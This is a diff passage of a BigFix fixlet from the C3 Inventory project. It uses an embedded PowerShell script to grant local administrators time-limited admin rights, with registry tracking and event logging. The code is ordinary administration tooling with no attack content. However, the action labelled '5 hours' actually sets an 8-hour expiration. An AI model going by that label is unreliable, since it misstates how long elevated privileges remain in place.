+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(number of elements of it > 0) of (  /* Add All Explicit Members of Administrators */ set of component strings of (sids of members of local group "Administrators") whose (exists user of it)   /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry   /* Subtract Local Administrator (Can't Remove) */ - set of component string of sid of user "Administrator"  )]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25216">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for&amp;nbsp;5 hours.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (8 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25217">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for 1 day.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25218">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for 5 days.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (5 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25219">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1000000 * week)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
